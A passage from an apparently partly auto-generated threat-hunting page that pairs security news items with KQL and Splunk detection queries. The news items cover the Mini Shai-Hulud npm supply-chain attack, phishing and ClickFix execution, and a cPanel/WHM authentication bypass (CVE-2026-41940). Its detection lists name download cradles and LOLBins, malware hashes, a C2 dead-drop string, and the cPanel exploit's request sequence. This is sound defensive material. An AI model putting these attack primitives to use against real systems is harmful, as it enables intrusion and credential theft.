OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — SAP-Related npm Packages Compromised in Credential-Stealing Supply Chain Attack
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("execution.js"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("execution.js"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — SAP-Related npm Packages Compromised in Credential-Stealing Supply Chain Attack ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("execution.js"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("execution.js"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Compromised SAP CAP / mbt npm package preinstall dropping setup.mjs (Mini Shai-Hulud)InstallationHigh
Detects execution of the malicious preinstall hook in the trojanized @cap-js/sqlite@2.2.2, @cap-js/postgres@2.2.2, @cap-js/db-service@2.10.1, or mbt@1.2.48 packages. Looks for npm/node/yarn/pnpm spawning setup.mjs (or execution.js) under those package paths, or files matching the dropper hashes.
Rationale: Uses the four exact package@version paths, the two named dropper files (setup.mjs, execution.js), and the published SHA256/MD5 hashes from Aikido and Wiz. Each is high-fidelity – the hashes appear nowhere benign and the @cap-js/<name> + setup.mjs path is unique to the trojanized tarballs.
Cross-checked against:
• https://www.aikido.dev/blog/mini-shai-hulud-has-appeared
• https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm
• https://socket.dev/blog/sap-cap-npm-packages-supply-chain-attack
ATT&CKT1195.002T1059.007T1546.016
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let bad_hashes = dynamic(["4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34","6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95","eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb","80a3d2877813968ef847ae73b5eeeb70b9435254e74d7f07d8cf4057f0a710ac"]);
let bad_md5 = dynamic(["35baf8316645372eea40b91d48acb067"]);
let bad_paths = dynamic(["@cap-js/sqlite","@cap-js/postgres","@cap-js/db-service","/mbt/","\\mbt\\"]);
DeviceProcessEvents
| where (ProcessCommandLine has_any ("setup.mjs","execution.js") and InitiatingProcessFileName in~ ("node.exe","npm.exe","yarn.exe","pnpm.exe","bun.exe","corepack.exe"))
or (FolderPath has_any (bad_paths) and FileName in~ ("node.exe","bun.exe"))
or SHA256 in (bad_hashes) or MD5 in (bad_md5)
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
| union (DeviceFileEvents | where (FileName in~ ("setup.mjs","execution.js") and FolderPath has_any (bad_paths)) or SHA256 in (bad_hashes) or MD5 in (bad_md5) | project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine)
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("node.exe","npm.exe","npm-cli.js","yarn.exe","pnpm.exe","bun.exe","corepack.exe") OR Processes.parent_process IN ("*npm*install*","*yarn*add*","*pnpm*install*")) AND (Processes.process IN ("*setup.mjs*","*execution.js*") OR Processes.process IN ("*\\node_modules\\@cap-js\\sqlite*","*\\node_modules\\@cap-js\\postgres*","*\\node_modules\\@cap-js\\db-service*","*\\node_modules\\mbt\\*","*/node_modules/@cap-js/sqlite*","*/node_modules/@cap-js/postgres*","*/node_modules/@cap-js/db-service*","*/node_modules/mbt/*")) by Processes.dest Processes.user Processes.parent_process Processes.process Processes.process_hash | `drop_dm_object_name(Processes)` | append [| tstats summariesonly=true count from datamodel=Endpoint.Filesystem where Filesystem.file_name IN ("setup.mjs","execution.js") AND (Filesystem.file_hash IN ("4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34","6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95","eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb","80a3d2877813968ef847ae73b5eeeb70b9435254e74d7f07d8cf4057f0a710ac","35baf8316645372eea40b91d48acb067")) by Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.file_hash | `drop_dm_object_name(Filesystem)`]
[LLM] Mini Shai-Hulud GitHub commit-search dead-drop C2 ('OhNoWhatsGoingOnWithGitHub')Command & ControlHigh
Detects the malware's distinctive C2 channel: querying api.github.com/search/commits for the dead-drop key string OhNoWhatsGoingOnWithGitHub, or commits/repos with the campaign-specific descriptions. This string is unique to this campaign across both Mini and Shai-Hulud 2.0 strains.
Rationale: OhNoWhatsGoingOnWithGitHub is the campaign's hard-coded GitHub commit-search dead-drop key reported independently by Aikido and Wiz – it is unique to Mini Shai-Hulud / Shai-Hulud 2.0 and has no legitimate use. Bun/1.3.13 user-agent spawned by node setup.mjs further corroborates.
Cross-checked against:
• https://www.aikido.dev/blog/mini-shai-hulud-has-appeared
• https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm
• https://safedep.io/shai-hulud-second-coming-supply-chain-attack/
ATT&CKT1102.002T1567T1102
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where RemoteUrl has_any ("OhNoWhatsGoingOnWithGitHub", "api.github.com/search/commits")
| where RemoteUrl has "OhNoWhatsGoingOnWithGitHub"
or (RemoteUrl has "api.github.com/search/commits" and InitiatingProcessFileName in~ ("bun.exe","node.exe"))
| project Timestamp, DeviceName, AccountName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessFolderPath
| union (
DeviceEvents
| where ActionType == "BrowserLaunchedToOpenUrl" or ActionType == "NetworkConnectionEvents"
| where AdditionalFields has "OhNoWhatsGoingOnWithGitHub"
)
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where (Web.url="*OhNoWhatsGoingOnWithGitHub*" OR Web.url="*api.github.com/search/commits*OhNoWhatsGoingOnWithGitHub*" OR Web.http_user_agent="*Bun/1.3.13*") by Web.src Web.user Web.dest Web.url Web.http_user_agent Web.http_method | `drop_dm_object_name(Web)` | where firstTime != ""
[LLM] Bun v1.3.13 runtime fetched from npm/node install context (Mini Shai-Hulud dropper)DeliveryMedium
Hunts the dropper's signature behaviour: setup.mjs invoking node/curl/wget/Invoke-WebRequest to download the Bun 1.3.13 runtime from github.com/oven-sh/bun/releases, then spawning bun to execute the 11 MB execution.js. Targets organizations that do not legitimately use Bun in CI/dev workstations.
Rationale: Bun 1.3.13 download URL is hard-coded in setup.mjs (Aikido + Wiz). Pairing the download with a subsequent bun.exe execution of execution.js or contents under .claude/ / .vscode/setup.mjs (the campaign's persistence/propagation paths) within 30 minutes makes this temporally correlated and high-confidence even though Bun itself is benign.
Cross-checked against:
• https://www.aikido.dev/blog/mini-shai-hulud-has-appeared
• https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm
ATT&CKT1105T1059.007T1027
Data sourcesWebEndpoint.Processes
let bun_dl =
DeviceNetworkEvents
| where RemoteUrl has "github.com/oven-sh/bun/releases/download/bun-v1.3.13"
| where InitiatingProcessFileName in~ ("node.exe","npm.exe","bun.exe","curl.exe","wget.exe","powershell.exe","pwsh.exe","cmd.exe")
| project NetTime=Timestamp, DeviceName, AccountName, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName;
let bun_exec =
DeviceProcessEvents
| where FileName =~ "bun.exe" or ProcessCommandLine matches regex @"(?i)\bbun\b.*(execution\.js|\.claude\\|\.vscode\\setup\.mjs)"
| where ProcessCommandLine has_any ("execution.js",".claude\\",".vscode\\setup.mjs")
| project ExecTime=Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, FolderPath;
bun_dl
| join kind=inner (bun_exec) on DeviceName
| where datetime_diff('minute', ExecTime, NetTime) between (-30 .. 30)
| project NetTime, ExecTime, DeviceName, AccountName, RemoteUrl, ProcessCommandLine, InitiatingProcessCommandLine
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url="*github.com/oven-sh/bun/releases/download/bun-v1.3.13*" by Web.src Web.user Web.url Web.http_user_agent Web.dest | `drop_dm_object_name(Web)` | join type=outer src [| tstats summariesonly=true count from datamodel=Endpoint.Processes where Processes.process_name="bun.exe" AND (Processes.process IN ("*execution.js*","*\\.claude\\*","*\\.vscode\\setup.mjs*")) by Processes.dest Processes.user Processes.parent_process Processes.process | rename Processes.dest as src | `drop_dm_object_name(Processes)`]
2026-04-294 use cases2 techniques4 kill-chain phases detected
Embracing strong proactive security is something we can all do to mitigate our increased exposure to security threats. The post 8 best practices for CISOs conducting risk reviews appeared first on Microsoft Security Blog .
ATT&CKT1190T1566
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Detected
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-296 use cases3 techniques4 kill-chain phases detected
A critical vulnerability affecting all but the latest versions of cPanel and the WebHost Manager (WHM) dashboard could be exploited to obtain access to the control panel without authentication. [...]
ATT&CKT1190T1566T1566.001
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Detected
Phase 7
Actions on Objectives
Likely
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Hunts the watchTowr-documented CVE-2026-41940 exploit chain: an unauthenticated POST to /login/?login_only=1 (to mint a half-formed session) followed by a GET to /scripts2/listaccts WITHOUT a /cpsess<token>/ prefix (forcing the error handler to rewrite the JSON session cache and promote CRLF-injected fields like hasroot=1 to top-level session properties). Same source IP hitting both URLs on cPanel/WHM ports 2083/2087 within a short window is a high-fidelity signal of the auth-bypass primitive being exercised.
Rationale: watchTowr's reverse-engineering of CVE-2026-41940 names two exact URL primitives — POST /login/?login_only=1 and GET /scripts2/listaccts (without the /cpsess<token>/ prefix that legitimate authenticated WHM traffic always carries) — and ties the second request to the JSON session-cache rewrite that promotes the injected hasroot/tfa_verified fields. Legitimate WHM use of listaccts is always wrapped by the cpsess token path, so the bare /scripts2/listaccts variant on 2083/2087 is the high-fidelity discriminator.
Cross-checked against:
• https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
• https://www.namecheap.com/status-updates/ongoing-critical-security-vulnerability-in-cpanel-april-28-2026/
• https://thehackernews.com/2026/04/critical-cpanel-authentication.html
ATT&CKT1190T1212T1556
Data sourcesWeb
let cpanel_ports = dynamic([2083, 2087]);
let windowStart = ago(7d);
DeviceNetworkEvents
| where Timestamp > windowStart
| where ActionType == "InboundConnectionAccepted"
| where LocalPort in (cpanel_ports) or RemotePort in (cpanel_ports)
| summarize ConnCount=count(), DistinctRemotes=dcount(RemoteIP), FirstConn=min(Timestamp), LastConn=max(Timestamp) by DeviceName, RemoteIP
| join kind=inner (
DeviceFileEvents
| where Timestamp > windowStart
| where FolderPath startswith "/var/cpanel/sessions/raw/"
